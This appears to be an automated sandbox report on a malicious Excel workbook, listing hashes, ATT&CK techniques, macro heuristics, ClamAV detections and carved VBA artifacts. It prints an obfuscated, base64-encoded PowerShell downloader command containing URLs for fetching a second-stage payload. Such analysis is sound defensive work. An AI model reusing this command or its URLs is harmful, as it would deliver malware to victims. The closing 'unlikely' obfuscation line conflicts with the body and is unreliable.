Office (OOXML) / .XLSX malware analysis — malicious · 826f4f28696601f4

MALICIOUS

Office (OOXML) / .XLSX

111.6 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: 010b6ee1c4d37dfb2d488257ff3da0f6 SHA-1: 5994b0fd79b0353db1ad37e020fd1b74b1fd83da SHA-256: 826f4f28696601f4097c3912ad511a226761b451b240984778e96c001048f30f

260 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The presence of a Workbook_Open macro and the use of CreateObject indicate malicious VBA code execution. The obfuscated commands within the document body, including the reconstructed PowerShell command 'hell -e Has4htksdighfdGJSXDghs4tshdkrg zasg3ksjfHXGHJXdfezse34 n JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHIAZQB1AG0AYQB0AGkAcwBtAGMAbABpAG4AaQBjAC4AYwBvAG0ALwAtAC8AcwBjAEMAbgBtADMAbQBiAEoAUgBwAHMAYQBCAEsAQgBiAHIAQwAvACwAaAB0AHQAcABzADoALwAvAHMAaABvAGQAaABtAGEAbgBqAGEAcgBpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB4AGoARQBtAEsANABQAGQAMwBOAC8ALABoAHQAdABwADoALwAvAHQAdQBiAGUAbABvAGMAYQBsAC4AbgBlAHQALwB3AHAALQBhAGQAbQBpAG4ALwBYADQAWABtADQATQBrAC8ALABoAHQAdABwAHMAOgAvAC8AcABhAGMAaQBmAGkAYwBoAG8AbQBlAGIAcgBvAGsAZQByAC4AYwBvAG0ALwByAG8AZABlAHIAaQBjAGsALwBSAFIAawAvACwAaAB0AHQAcABzADoALwAvAG0AbwBsAGkAbgBhAGkALQBqAG8AdQByAG4AYQBsAC4A', strongly suggest the execution of a downloader for a second-stage payload. The extracted URLs are highly suspicious and likely serve as C2 infrastructure.

Heuristics 6

ClamAV: Doc.Malware.Valyria-10004384-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-10004384-0
ClamAV detection on extracted artifact critical EXTRACTED_FILE_CLAMAV

ClamAV flagged at least one file extracted from inside this sample. Even when the wrapping document carries no AV detection of its own, a hit on the carved artifact is a strong indicator the sample is a delivery vehicle.
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
VBA project inside OOXML medium OOXML_VBA

Document contains a VBA project — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `527d0656a0c2c323955d068683ef8f7e20c035cda247a1e24383595c0eb3403b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	7821 bytes
`vbaProject_00.bin` `3705a4aa843c4c72edf76d2cb1c5a7a92ef1df04478bd670924663f0dd071b80`	vba-project	OOXML VBA project: xl/vbaProject.bin	37888 bytes
Detection ClamAV: Doc.Malware.Valyria-10004384-0 Obfuscation or payload: unlikely

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